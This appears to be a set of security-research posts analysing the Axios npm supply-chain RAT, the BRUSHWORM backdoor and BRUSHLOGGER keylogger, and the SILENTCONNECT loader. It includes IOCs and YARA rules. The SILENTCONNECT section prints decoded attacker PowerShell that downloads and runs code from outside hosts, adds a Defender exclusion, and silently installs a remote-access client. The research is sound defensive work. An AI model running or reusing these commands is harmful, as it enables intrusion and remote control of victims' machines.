| File | SHA256 | | ----- | ----- | | setup.js | e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 | | /tmp/ld.py | 6483c004e207137385f480909d6edecf1b699087378aa91745ecba7c3394f9d7 | | 6202033.ps1 | ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c | | system.bat | e49c2732fb9861548208a78e72996b9c3c470b6b562576924bcc3a9fb75bf9ff | | com.apple.act.mond | 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a |

Network Indicators

| Type | Indicator | | ----- | ----- | | C2 Domain | sfrclak[.]com | | C2 IP | 142.11.206[.]73 | | C2 URL | http://sfrclak[.]com:8000/6202033 | | User-Agent | mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) | | macOS POST body | packages[.]npm[.]org/product0 | | Windows POST body | packages[.]npm[.]org/product1 | | Linux POST body | packages[.]npm[.]org/product2 |

File System Indicators

Cross-platform

| Path / Artifact | Description | | ----- | ----- | | $TMPDIR/6202033 | Temporary staging artifact | | */node_modules/plain-crypto-js/setup.js | Node.js first-stage dropper |

Linux

| Path | Description | | ----- | ----- | | /tmp/ld.py | Python RAT second stage |

Windows

| Path | Description | | ----- | ----- | | %PROGRAMDATA%\wt.exe | Renamed powershell.exe (execution proxy) | | %PROGRAMDATA%\system.bat | Persistence launcher | | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate | Persistence key | | %TEMP%\6202033.vbs | VBS launcher (self-deletes) | | %TEMP%\6202033.ps1 | PowerShell payload (self-deletes) |

macOS

| Path | Description | | ----- | ----- | | /Library/Caches/com.apple.act.mond | Mach-O backdoor payload | | /tmp/*.scpt | Temporary AppleScript launcher |

Inside the Axios supply chain compromise - one RAT to rule them all

Wed, 01 Apr 2026 00:00:00 GMT

Elastic Security Labs released initial triage and detection rules for the Axios supply-chain compromise. This is a detailed analysis of the RAT and payloads.

Introduction

Elastic Security Labs identified a supply chain compromise of the axios npm package, one of the most depended-upon packages in the JavaScript ecosystem with approximately 100 million weekly downloads. The attacker compromised a maintainer account and published backdoored versions that delivered a cross-platform Remote Access Trojan to macOS, Windows, and Linux systems through a malicious postinstall hook.

Key takeaways

A compromised npm maintainer account (jasonsaayman) was used to publish two malicious versions of the widely used Axios HTTP client — 1.14.1 (tagged latest) and 0.30.4 (tagged legacy) — meaning a default npm install axios resolved to a backdoored package
The malicious JavaScript deploys platform-specific stage-2 implants for macOS, Windows, and Linux
All three stage-2 payloads are implementations of the same RAT — identical C2 protocol, command set, beacon cadence, and spoofed user-agent, written in PowerShell (Windows), C++ (macOS), and Python (Linux)
The dropper performs anti-forensic cleanup by deleting itself and swapping its package.json with a clean copy, erasing evidence of the postinstall trigger from node_modules

Preamble

On March 30, 2026, Elastic Security Labs detected a supply chain compromise targeting the axios npm package through automated supply-chain monitoring. The attacker gained control of the npm account belonging to jasonsaayman, one of the project's primary maintainers, and published two backdoored versions within a 39-minute window.

The axios package is one of the most widely depended-upon HTTP client libraries in the JavaScript ecosystem. At the time of discovery, both the latest and legacy dist-tags pointed to compromised versions, ensuring that the majority of fresh installations pulled a backdoored release.

The malicious versions introduced a single new dependency: plain-crypto-js, a purpose-built package whose postinstall hook silently downloaded and executed platform-specific stage-2 RAT implants from sfrclak[.]com:8000.

What makes this campaign notable beyond its blast radius is the stage-2 tooling. The attacker deployed three parallel implementations of the same RAT — one each for Windows, macOS, and Linux — all sharing an identical C2 protocol, command structure, and beacon behavior. This isn't three different tools; it's a single cross-platform implant framework with platform-native implementations.

Elastic Security Labs filed a GitHub Security Advisory to the axios repository on March 31, 2026 at 01:50 AM UTC to coordinate disclosure and ensure the maintainers and npm registry could act on the compromised versions.

As the community flagged the compromise on social media, Elastic Security Labs shared early findings publicly to help defenders respond in real time.

This post covers the full attack chain: from the npm-level supply chain compromise through the obfuscated dropper, to the architecture of the cross-platform RAT and the meaningful differences between its three variants.

Campaign overview

The compromise is evident from the npm registry metadata. The maintainer email changed from jasonsaayman@gmail[.]com — present on all prior legitimate releases — to ifstap@proton[.]me on the malicious versions. The publishing method also changed:

| Version | Published By | Method | Provenance | | ----- | ----- | ----- | ----- | | axios@1.14.0 (legitimate) | jasonsaayman@gmail[.]com | GitHub Actions OIDC | SLSA provenance attestations | | axios@1.14.1 (compromised) | ifstap@proton[.]me | Direct CLI publish | None | | axios@0.30.4 (compromised) | ifstap@proton[.]me | Direct CLI publish | None |

The shift from a trusted OIDC publisher flow with SLSA provenance to a direct CLI publish with a changed email is a clear indicator of unauthorized access.

Timeline

2026-02-18 17:19 UTC — axios@0.30.3 published legitimately by jasonsaayman@gmail[.]com
2026-03-27 19:01 UTC — axios@1.14.0 published legitimately via GitHub Actions OIDC
2026-03-30 05:57 UTC — plain-crypto-js@4.2.0 published by nrwise (nrwise@proton.me) — clean decoy to build registry history
2026-03-30 23:59 UTC — plain-crypto-js@4.2.1 published by nrwise — malicious version with postinstall backdoor
2026-03-31 00:21 UTC — axios@1.14.1 published by compromised account — tagged latest
2026-03-31 01:00 UTC — axios@0.30.4 published by compromised account — tagged legacy

Affected packages

axios@1.14.1 — Malicious, tagged latest at time of discovery
axios@0.30.4 — Malicious, tagged legacy at time of discovery
plain-crypto-js@4.2.0 — Clean decoy, published to build registry history
plain-crypto-js@4.2.1 — Malicious, payload delivery vehicle (postinstall backdoor)

Safe versions: axios@1.14.0 (last legitimate 1.x release with SLSA provenance) and axios@0.30.3 (last legitimate 0.30.x release).

The attacker tagged both the latest and legacy channels, maximizing the blast radius across projects using either the current or legacy axios API.

Code analysis

Stage 1: The plain-crypto-js dropper

The entire delivery chain hinges on npm's postinstall lifecycle hook. Installing either compromised axios version pulls plain-crypto-js@^4.2.1 as a dependency, which declares:

"scripts": {
  "postinstall": "node setup.js"
}

This causes setup.js to execute automatically during npm install — no user interaction required.

The setup.js file uses a two-layer encoding scheme to conceal its behavior:

Layer 1: String reversal followed by Base64 decoding
Layer 2: XOR cipher using the key OrDeR_7077 with a position-dependent index (7 * i² % 10)

All critical strings, module names, URLs, shell commands are stored in an encoded array stq[] and decoded at runtime. The decoded contents reveal the operational infrastructure:

Platform-specific delivery

After decoding its string table, the dropper checks os.platform() and branches into one of three delivery routines. Each sends an HTTP POST to http://sfrclak[.]com:8000/6202033 with a platform-specific body — packages.npm.org/product0 (macOS), packages.npm.org/product1 (Windows), packages.npm.org/product2 (Linux) — allowing the C2 to serve the correct payload from a single endpoint. The packages.npm.org/ prefix is a deliberate attempt to make outbound traffic appear as benign npm registry communication in network logs:

| Platform | Delivery Method | Stage-2 Location | Disguise | | ----- | ----- | ----- | ----- | | macOS | AppleScript via osascript downloads binary with curl | /Library/Caches/com.apple.act.mond | Apple system daemon | | Windows | VBScript downloads .ps1 via curl, executes via renamed PowerShell (%PROGRAMDATA%\wt.exe) | %TEMP%\6202033.ps1 (transient) | Windows Terminal | | Linux | Direct curl download and python3 execution | /tmp/ld.py | None |

Anti-forensics

The dropper performs two cleanup actions:

Self-deletion: setup.js removes itself via fs.unlink(__filename)
Package manifest swap: A clean file named package.md (containing a benign version 4.2.0 configuration with no postinstall hook) is renamed to package.json, overwriting the malicious version

Post-incident inspection of node_modules/plain-crypto-js/package.json reveals no trace of the postinstall trigger. The malicious setup.js is gone. Only the lockfile and npm audit logs retain evidence.

Stage 2: Cross-platform RAT

The three stage-2 payloads: PowerShell for Windows, compiled C++ for macOS, Python for Linux are not three different tools. They are three implementations of the same RAT specification, sharing an identical C2 protocol, command set, message format, and operational behavior. The consistency strongly indicates a single developer or tightly coordinated team working from a shared design document.

Shared architecture

The following properties are identical across all three variants:

C2 transport: HTTP POST
Body encoding: Base64-encoded JSON
User-Agent: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
Beacon interval: 60 seconds
Session UID: 16-character random alphanumeric string, generated per-execution
Outbound message types: FirstInfo, BaseInfo, CmdResult
Inbound command types: kill, peinject, runscript, rundir
Response command types: rsp_kill, rsp_peinject, rsp_runscript, rsp_rundir

The spoofed IE8/Windows XP user-agent string is particularly notable, it is anachronistic on all three platforms, and its presence on a macOS or Linux host is a strong detection indicator.

Initialization and reconnaissance

On startup, each variant:

Generates a session UID — 16 random alphanumeric characters, included in every subsequent C2 message
Detects OS and architecture — reports platform-specific identifiers (e.g., windows_x64, macOS, linux_x64)
Enumerates initial directories of interest (user profile, documents, desktop, config directories)
Sends a FirstInfo beacon containing the UID, OS identifier, and directory snapshot

After initialization, the implant enters the main loop. The first BaseInfo heartbeat includes a comprehensive system profile. The same categories of data are collected on all platforms, though the underlying APIs differ:

| Data Collected | Windows Source | macOS Source | Linux Source | | ----- | ----- | ----- | ----- | | Hostname | %COMPUTERNAME% env var | gethostname() | /proc/sys/kernel/hostname | | Username | %USERNAME% env var | getuid() + getpwuid() | os.getlogin() | | OS version | WMI / registry | sysctlbyname("kern.osproductversion") | platform.system() + platform.release() | | Timezone | System timezone | localtime_r() | datetime.timezone | | Boot time | System uptime | sysctl("kern.boottime") | /proc/uptime | | Install date | Registry / WMI | stat("/") or sysctl | ctime of /var/log/installer or /var/log/dpkg.log | | Hardware model | WMI | sysctlbyname("hw.model") | /sys/class/dmi/id/product_name | | CPU type | WMI | sysctlbyname() | platform.machine() | | Process list | Full PID, session, name, path | popen("ps") (up to 1000) | Full /proc enumeration (PID, PPID, user, cmdline) |

Subsequent heartbeats are lightweight, containing only a timestamp to confirm the implant is alive.

Command dispatch

The C2 response is parsed as JSON, and the type field determines the action. All three variants implement the same four commands:

kill — Self-termination. Sends an rsp_kill acknowledgment and exits. The Windows variant's persistence mechanism (registry key + batch file) survives the kill command unless explicitly cleaned up; the macOS and Linux variants have no persistence of their own.

runscript — Script/command execution. The operator's primary interaction command. Accepts a Script field (code to execute) and a Param field (arguments). When Script is empty, Param is run directly as a command. The execution mechanism is platform-native:

| Platform | Execution Mechanism | | ----- | ----- | | Windows | PowerShell with -NoProfile -ep Bypass | | macOS | AppleScript via /usr/bin/osascript | | Linux | Shell via subprocess.run(shell=True) or Python via python3 -c |

peinject — Binary payload delivery. Despite the Windows-centric naming ("PE inject"), all three platforms implement this as a way to drop and execute binary payloads:

| Platform | Implementation | | ----- | ----- | | Windows | Reflective .NET assembly loading via [System.Reflection.Assembly]::Load() | | macOS | Base64-decodes and drops a binary, executes with operator-supplied parameters. | | Linux | Base64-decodes a binary to /tmp/.\ (hidden file), launches via subprocess.Popen(). |

The Windows implementation has in-memory execution with no file drop but without disabling AMSI which will certainly flag on the Assembly load. The macOS and Linux variants take the simpler approach of writing a binary to disk and executing it directly.

rundir — Directory enumeration. Accepts paths and returns detailed file listings (name, size, type, creation/modification timestamps, child count for directories). Allows the operator to interactively browse the filesystem.

Capability summary

| Capability | Windows (PowerShell) | macOS (C++) | Linux (Python) | | ----- | ----- | ----- | ----- | | Persistence | Registry Run key + hidden .bat | None | None | | Script execution | PowerShell | AppleScript via osascript | Shell or Python inline | | Binary injection | Reflective .NET load injecting into cmd.exe | Binary drop + execute | Binary drop to /tmp/ + execute | | Anti-forensics | Hidden windows, temp file cleanup | Hidden temp .scpt | Hidden /tmp/.XXXXXX files |

Attribution

The macOS Mach-O binary delivered by the plain-crypto-js postinstall hook exhibits significant overlap with WAVESHAPER, a C++ backdoor tracked by Mandiant and attributed to UNC1069, a DPRK-linked threat cluster.

Conclusion

This campaign demonstrates the continued attractiveness of the npm ecosystem as a supply chain attack vector. By compromising a single maintainer account on one of the JavaScript ecosystem's most depended-upon packages, the attacker gained a delivery mechanism with potential reach into millions of environments.

The toolkit's most reliable detection indicator is also its most curious design choice: the IE8/Windows XP user-agent string hardcoded identically across all three platform variants. While it provides a consistent protocol fingerprint for C2 server-side routing, it is trivially detectable on any modern network — and is an immediate anomaly on macOS and Linux hosts.

Elastic Security Labs will continue monitoring this activity cluster and will update this post with any additional findings.

MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Observations

The following observables were discussed in this research.

| Observable | Type | Name | Reference | | :---- | :---- | :---- | :---- | | 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 | SHA-256 | 6202033.ps1 | Windows payload | | 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a | SHA-256 | com.apple.act.mond | MacOS payload | | fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf | SHA-256 | ld.py | Linux payload | | sfrclak[.]com | DOMAIN | | C2 | | 142.11.206[.]73 | ipv4-addr | | C2 |

References

The following were referenced throughout the above research:

https://www.elastic.co/security-labs/axios-supply-chain-compromise-detections

Elastic Security Labs uncovers BRUSHWORM and BRUSHLOGGER

Salim Bitam — Fri, 27 Mar 2026 00:00:00 GMT

Key takeaways

A South Asian financial institution was targeted with two custom malware components: a modular backdoor (BRUSHWORM) and a keylogger (BRUSHLOGGER)
BRUSHWORM features anti-analysis checks, AES-CBC encrypted configuration, scheduled task persistence, modular DLL payload downloading, USB worm propagation, and broad file theft targeting documents, spreadsheets, email archives, and source code
The keylogger masquerades as libcurl via DLL side-loading, capturing system-wide keystrokes with window context tracking and XOR-encrypted log files
Multiple earlier testing versions (V1.exe, V2.exe, etc.) were discovered on VirusTotal, some using free dynamic DNS infrastructure, indicating iterative development

Introduction

During a recent investigation, Elastic Security Labs identified malware deployed on a South Asian financial institution’s infrastructure. The victim environment had only SIEM-level visibility enabled, which limited post-exploitation telemetry. The intrusion involved two custom binaries: a backdoor named paint.exe and a keylogger masquerading as libcurl.dll.

BRUSHWORM functions as the primary implant, responsible for installation, persistence, command-and-control communication, downloading additional modular payloads, spreading via removable media, and stealing files with targeted extensions. BRUSHLOGGER supplements this by capturing system-wide keystrokes via a simple Windows keyboard hook and logging the active window context for each keystroke session.

Neither binary employs meaningful code obfuscation, packing, or advanced anti-analysis techniques. The overall quality of the code is low — for example, the backdoor writes its decrypted configuration to disk in cleartext before encrypting and saving a second copy, then deletes the cleartext file. Given the absence of a kill switch, the use of free dynamic DNS servers in testing versions, and some coding mistakes, we assess with moderate confidence that the author is relatively inexperienced and may have leveraged AI code-generation tools during development without fully reviewing the output.

Through VirusTotal pivoting, we identified what appear to be earlier development and testing versions of the backdoor uploaded under filenames such as V1.exe, V2.exe, and V4.exe, with varying configurations.

BRUSHWORM code analysis

The backdoor is the primary implant responsible for establishing persistence, communicating with the C2 server, downloading modular payloads, spreading to removable media, and exfiltrating files.

Anti-analysis and sandbox detection

The malware begins execution with a series of environment checks designed to detect analysis environments, though the techniques are straightforward and lack sophistication.

Screen resolution check: If the display resolution is less than 1024×768 pixels, execution terminates immediately. This is a common sandbox detection technique.

Username and computer name check: The malware checks whether the machine's username or the computer name is “sandbox”. If either condition matches, it terminates. These checks target the default name commonly used in analysis sandboxes.

Hypervisor detection: Using the CPUID instruction, the malware queries the hypervisor vendor string and compares it against the following known virtualization platforms:

| Hypervisor Vendor String | Platform | | ----- | ----- | | VMWAREVMWARE | VMware | | KVMKVMKVM | KVM | | XENVMMXENVMM | Xen | | PRL HYPERV | Parallels | | TCGTCGTCGTCG | QEMU (TCG) | | ACRNACRNACRN | ACRN | | MICROSOFT HV | Hyper-V |

If a hypervisor is detected, the malware does not terminate — it merely sleeps for one second before continuing execution.

Mouse activity check: After the initial setup, the malware monitors mouse movement for 5 minutes. If the cursor does not move during this period, execution terminates. This acts as an additional sandbox evasion measure.

Installation and directory setup

On first execution, the malware creates multiple hidden directories with hardcoded paths. These directories serve distinct roles throughout the malware's lifecycle:

| Directory | Purpose | | ----- | ----- | | C:\ProgramData\Photoes\Pics\ | Main installation folder for the backdoor binary | | C:\Users\Public\Libraries\ | Storage for downloaded modules from the C2 server (e.g., Recorder.dll) | | C:\Users\Public\AppData\Roaming\Microsoft\Vault\ | Storage of the encrypted configuration file (keyE.dat) | | C:\Users\Public\Systeminfo\ | Staging directory for stolen files | | C:\Users\Public\AppData\Roaming\NuGet\ | Tracks exfiltrated file paths with their SHA-256 hashes (hashconfig) |

The misspelling "Photoes" (instead of "Photos") is consistent across both the backdoor and keylogger components and appears to be an authentic mistake by the author to blend with the other user’s media directories.

Configuration decryption

The backdoor's configuration is stored as a JSON structure with field values encrypted using AES-CBC. The AES key is hardcoded in the binary, while the initialization vector (IV) is prepended to each encrypted field's data blob.

The decrypted configuration follows this structure:

{
  "internetCheckDomain": "<...>",
  "downloadDomain": "<...>",
  "retryCount": 0
}

This configuration is not referenced anywhere in the malware's operational logic. The C2 server address that the backdoor actually communicates with is a separate C++ global string variable stored in cleartext(resources.dawnnewsisl[.]com/updtdll), which is passed directly to the function responsible for C2 communication and payload downloads.

The decrypted configuration fields (internetCheckDomain, downloadDomain, retryCount) go entirely unused in this build. This configuration is likely intended for a future version, a separate payload component, or was simply disabled in the deployed build, reinforcing the impression of a codebase under active, disorganized development.

Persistence

The malware establishes persistence by creating a Windows scheduled task named MSGraphics through the COM Task Scheduler interface. The task is configured to execute the malware binary each time a user logs in, ensuring the backdoor survives system reboots.

Payload download and execution

The backdoor uses the WinHTTP library to issue a GET request to the C2 server at the URI /updtdll to download a DLL payload. The downloaded binary is written to C:\Users\Public\Libraries\ as Recorder.dll.

We were unable to recover the downloaded payload during our investigation, but the naming convention and execution method suggest it is a modular plugin — likely providing additional post-exploitation capabilities such as screen recording or data exfiltration.

The downloaded DLL is executed by creating a second scheduled task named MSRecorder that uses rundll32.exe to load and run it. This mirrors the same COM-based scheduled task creation method used for persistence.

The C2 server's SSL certificate is issued by Let's Encrypt.

USB spreading and file theft

Once BRUSHWORM detects that the host is already infected (by checking for the presence of the installation directory), its behavior diverges based on internet connectivity. The malware performs a connectivity check by attempting to reach www.google.com.

Scenario 1 — Internet access available:

The malware spawns two threads targeting external storage devices:

Removable drive infection: The backdoor copies itself to any connected removable storage devices using socially-engineered filenames designed to entice victims in a corporate financial environment:

Salary Slips.exe
Notes.exe
Documents.exe
Important.exe
Dont Delete.exe
Presentation.exe
Emails.exe
Attachments.exe

File theft from removable and optical drives: Both threads enumerate files on the connected media and exfiltrate to a folder any file matching a broad set of targeted extensions:

| Category | Extensions | | ----- | ----- | | Documents & Word Processing | .doc, .docx, .dot, .dotx, .wps, .wpd, .wp, .rtf, .txt, .odt, .ott, .pages | | Spreadsheets | .xls, .xlsx, .xlsm, .xlt, .xltx, .xlw, .ods, .ots, .csv, .tsv, .dbf, .wk1, .wk3, .wk4, .123 | | Presentations | .ppt, .pptx, .pot, .potx, .pps, .ppsx, .odp, .otp, .key, .sxi | | Portable & Layout | .pdf, .xps, .epub, .mobi, .ps, .prn, .tex, .latex, .pub, .p65, .fm | | Archives & Disk Images | .zip, .rar, .7z, .tar, .gz, .bz2, .xz, .iso, .cab, .arj, .lzh, .lha, .tgz, .tbz, .txz | | Email & Notes | .pst, .ost, .msg, .eml, .emlx, .mbox, .mbx, .maildir, .one | | Code & Data | .py, .md, .xml, .json |

Stolen files are staged in the C:\Users\Public\Systeminfo\ directory. The malware also maintains a tracking file (hashconfig) at C:\Users\Public\AppData\Roaming\NuGet\ that records each exfiltrated file's path alongside its SHA-256 hash, likely to avoid re-exfiltrating the same files on subsequent runs.

Scenario 2 — No internet access:

If the internet connectivity check fails, the malware still infects removable drives with the same lure-named copies. However, in this scenario, it additionally copies stolen files and files from the user's profile directory (matching the same extension list) to the removable drives. This behavior serves as a data exfiltration bridge for environments with restricted or air-gapped network access — using USB drives to physically carry stolen data off the network.

BRUSHLOGGER code analysis

The second component is a 32-bit Windows DLL (4f1ea5ed6035e7c951e688bd9c2ec47a1e184a81e9ae783d4a0979501a1985cf) designed for DLL side-loading. It masquerades as libcurl.dll by exporting seven standard curl_easy_* API functions, all of which are empty stubs pointing to a single RET instruction. The malicious functionality executes entirely from the DllMain entry point on DLL_PROCESS_ATTACH.

Initialization

At startup, the keylogger decodes a mutex name from a Base64-encoded string: “Windows-Updates-KB852654856”. The mutex name mimics a Windows Update knowledge base identifier. If CreateMutexA returns ERROR_ALREADY_EXISTS, the process terminates immediately to enforce single-instance execution.

BRUSHLOGGER retrieves the current Windows username via GetUserNameA, computes its MD5 hash using the Windows CryptoAPI, and constructs the final log file path:

C:\programdata\Photoes\_.trn

The log file is initially created with CreateFileA using CREATE_NEW, then reopened with FILE_APPEND_DATA access for append-mode writing throughout the session.

Hook installation and message pump

After file setup, the keylogger installs a low-level keyboard hook:

SetWindowsHookExA(WH_KEYBOARD_LL, keyboard_hook_callback, NULL, 0);

The WH_KEYBOARD_LL hook type captures keyboard input system-wide across all threads and processes. The hook procedure runs in the context of the installing thread, requiring a standard Windows message pump (GetMessageA / TranslateMessage / DispatchMessageA) to keep the hook alive.

Keystroke capture logic

The core capture logic resides in the hook callback, which processes every keyboard event in the system.

For each keystroke event, the callback:

Retrieves the foreground window handle via GetForegroundWindow
Allocates memory via VirtualAlloc for the window title
Captures the current timestamp via GetLocalTime, formatted as DD-MM-YYYY HH:MM
Retrieves the window title bar text via GetWindowTextA

When the foreground window changes, a context marker is appended to the keystroke buffer:

\n \n

Keystroke encoding: The callback processes WM_KEYDOWN, WM_SYSKEYDOWN, WM_KEYUP, and WM_SYSKEYUP messages. Each keystroke is logged as a two-digit hexadecimal virtual key.

XOR-encrypted log files

The flush routine copies the keystroke buffer to a local stack buffer, XOR-encrypts each byte with a hardcoded single-byte key 0x43, and writes the result to the log file via WriteFile. After a successful write, the global buffer is cleared.

The XOR key 0x43 is trivially reversible — the encryption serves only as basic obfuscation rather than meaningful cryptographic protection.

Conclusion

Despite their low sophistication and multiple implementation flaws, these two binaries deliver a functional collection platform that combines modular payload loading, USB worm propagation, broad file theft with air-gap bridging, and persistent keystroke capture via DLL side-loading. The iterative testing versions and active C2 infrastructure suggest an actor still refining their toolset. Elastic Security Labs will continue monitoring this activity cluster.

BRUSHLOGGER, BRUSHWORM, and MITRE ATT&CK

Elastic uses the MITRE ATT\&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Detecting BRUSHLOGGER and BRUSHWORM

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BRUSHWORM and BRUSHLOGGER:

rule Windows_Trojan_BrushLogger_304ee146 {
    meta:
        author = "Elastic Security"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "BrushLogger"
        threat_name = "Windows.Trojan.BrushLogger"
        reference_sample = "4f1ea5ed6035e7c951e688bd9c2ec47a1e184a81e9ae783d4a0979501a1985cf"

    strings:
        $a = "%02d-%02d-%d %02d:%02d " fullword
        $b = { 81 ?? ?? A1 00 00 00 74 09 81 ?? ?? A0 00 00 00 75 09 6A 00 6A 10 E8 }
    condition:
        all of them
}

rule Windows_Trojan_BrushWorm_7c2098ef {
    meta:
        author = "Elastic Security"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "BrushWorm"
        threat_name = "Windows.Trojan.BrushWorm"
        reference_sample = "89891aa3867c1a57512d77e8e248d4a35dd32e99dcda0344a633be402df4a9a7"

    strings:
        $a = "internetCheckDomain" wide fullword
        $b = { B8 00 00 00 40 33 C9 0F A2 48 8D ?? ?? ?? 89 07 89 5F 04 89 4F 08 89 57 0C 45 33 C0 }
    condition:
        all of them
}

Observations

The following observables were discussed in this research.

From Invitation to Infection: How SILENTCONNECT Delivers ScreenConnect

Daniel Stepanic,Salim Bitam — Thu, 19 Mar 2026 00:00:00 GMT

Introduction

Elastic Security Labs is observing malicious campaigns delivering a multi-stage infection involving a previously undocumented loader. The infection begins when users are diverted to a Cloudflare Turnstile CAPTCHA page under the guise of a digital invitation. After the link is clicked, a VBScript file is downloaded to the machine. Upon execution, the script retrieves C# source code, which is then compiled and executed in memory using PowerShell. The final payload observed in these campaigns is ScreenConnect, a remote monitoring and management (RMM) tool used to control victim machines.

This campaign highlights a common theme: attackers abusing living-off-the-land binaries (LOLBins) to facilitate execution, as well as using trusted hosting providers such as Google Drive and Cloudflare. While the loader is small and straightforward, it appears to be quite effective and has remained under the radar since March 2025.

Key takeaways

SILENTCONNECT is a newly discovered loader actively being used in-the-wild
This loader silently installs ConnectWise ScreenConnect, enabling hands-on keyboard access to victim machines
Campaigns distributing SILENTCONNECT use hosting infrastructure from Cloudflare and Google Drive
SILENTCONNECT uses NT API calls, PEB masquerading and includes Windows Defender exclusion and User Account Control (UAC) bypass

SILENTCONNECT infection chain

In the first week of March, our team observed a living off-the-land style infection generating multiple behavioral alerts over a short period.

The initial VBScript download triggered our Suspicious Windows Script Downloaded from the Internet rule, which let us pivot to the source of the infection using the associated file.origin_url and file.origin_referrer_url fields.

By navigating to the original landing page, we observed a Cloudflare Turnstile CAPTCHA page. After clicking the human verification checkbox, a VBScript file (E-INVITE.vbs) is downloaded to the machine.

Below is the source code of the landing page, we can see that the VBScript file (E-INVITE.vbs) is hosted on Cloudflare’s object storage service r2.dev.

Below are other VBScript filenames observed in the last month related to these campaigns:

Alaska Airlines 2026 Fleet & Route Expansion Summary.vbs
CODE7_ZOOMCALANDER_INSTALLER_4740.vbs
2025Trans.vbs
Proposal-03-2026.vbs
2025Trans.vbs
updatv35.vbs

The VBScripts are minimally obfuscated, using a children’s story as a decoy, and employ the Replace() and Chr() functions to hide the next stage.

This script de-obfuscates to the following command-line output:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass 
  -command ""New-Item -ItemType Directory -Path 'C:\Windows\Temp' -Force | Out-Null; 
  curl.exe -L 'hxxps://drive.google[.]com/uc?id=1ohZxxT-h7xWVgclB1kvpvwkF0AGWoUtq&export=download' 
  -o 'C:\Windows\Temp\FileR.txt';Start-Sleep -Seconds 
  8;$source = [System.IO.File]::ReadAllText('C:\Windows\Temp\FileR.txt');Start-Sleep 
  -Seconds 1;Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $source 
  -Language CSharp; [HelloWorld]::SayHello()""

This snippet uses PowerShell to invoke curl.exe to download a C# payload from Google Drive, which is then written to the disk with the file name (C:\Windows\Temp\FileR.txt).

The retrieved C# source code uses an obfuscation technique known as constant unfolding to conceal the byte array used for reflective in-memory execution.

Finally, the PowerShell command compiles the downloaded C# source (FileR.txt) at runtime using Add-Type, loads it into memory as a .NET assembly, and executes it via the [HelloWorld]::SayHello() method.

SILENTCONNECT

The following section covers the .NET loader family we call SILENTCONNECT. The sample is relatively small and straightforward, primarily designed to download a remote payload (ScreenConnect) and install it silently on the system.

After sleeping for 15 seconds, the malware allocates executable memory using the native Windows API function via NtAllocateVirtualMemory, assigning the region PAGE_EXECUTE_READWRITE permissions. SILENTCONNECT stores an embedded byte array containing the following shellcode:

53                        ; push rbx
48 31 DB                  ; xor rbx, rbx
48 31 C0                  ; xor rax, rax
65 48 8B 1C 25 60000000   ; mov rbx, gs:[0x60]  ← PEB address (x64)
48 89 D8                  ; mov rax, rbx        ← return value
5B                        ; pop rbx
C3                        ; ret

This small shellcode is moved into the recently allocated memory using Marshal.Copy. Next, the malware executes the shellcode in order to retrieve the address of the Process Environment Block (PEB). This approach allows the malware to access process structures directly while avoiding higher-level Windows APIs that are commonly monitored or hooked by security products.

SILENTCONNECT uses NTAPIs from ntdll.dll (Native APIs) and ole32.dll (COM APIs) during the delegate setup stage, enabling the malware to invoke functions such as NtWriteVirtualMemory or CoGetObject directly from.NET.

PEB Masquerading

SILENTCONNECT implements a common malware evasion technique known as PEB masquerading. All Windows processes include a kernel-maintained structure known as the Process Environment Block (PEB). This structure contains a linked list of loaded modules. Inside each linked list are entries that contain the module’s base address, DLL name, and full path. SILENTCONNECT goes through this structure, finding its own module, then overwrites its BaseDLLName and FullDllName to winhlp32.exe and c:\windows\winhlp32.exe.

Many security tooling, including EDRs, use the PEB as a trusted source to detect suspicious activity. This technique can fool these products by using a benign name and path to hide itself.

Before launching the payload, the malware implements a UAC bypass using the function LaunchElevatedCOMObjectUnsafe with the moniker string reversed: :wen!rotartsinimdA:noitavelE -> Elevation:Administrator!new:

If the malware is in an un-elevated state, it will attempt to use the UAC bypass technique via CMSTPLUA COM interface. The launch parameters are stored in a character array in reverse order as a simple obfuscation technique.

The first part of this obfuscated command adds a Microsoft Defender exclusion for .exe files.

$ConcreteDataStructure=[char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+
[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]
101;$s=[char](23+23)+[char]101+[char]120+[char]101;&($ConcreteDataStructure) 
-ExclusionExtension $s -Force;

Below is the result of this command in Defender with the exception added:

After adding the exclusion, SILENTCONNECT creates a temporary directory (C:\Temp) and uses curl.exe to download the malicious ScreenConnect client installer into it. It then invokes msiexec.exe to silently install the RMM. Below is the second-half of the command-line:

New-Item -ItemType Directory -Path 'C:\Temp' -Force | Out-Null; curl.exe -L 
 'hxxps://bumptobabeco[.]top/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest'
  -o 'C:\Temp\ScreenConnect.ClientSetup.msi'; Start-Process msiexec.exe '/i 
  C:\Temp\ScreenConnect.ClientSetup.msi'"

Following installation, the ScreenConnect client persists as a Windows service and beacons to the adversary-controlled ScreenConnect server at bumptobabeco[.]top over TCP port 8041.

SILENTCONNECT campaign

The primary initial access vector for these campaigns starts from phishing emails. We identified an email sample (YOU ARE INVITED.eml) uploaded to VirusTotal from a campaign last year.

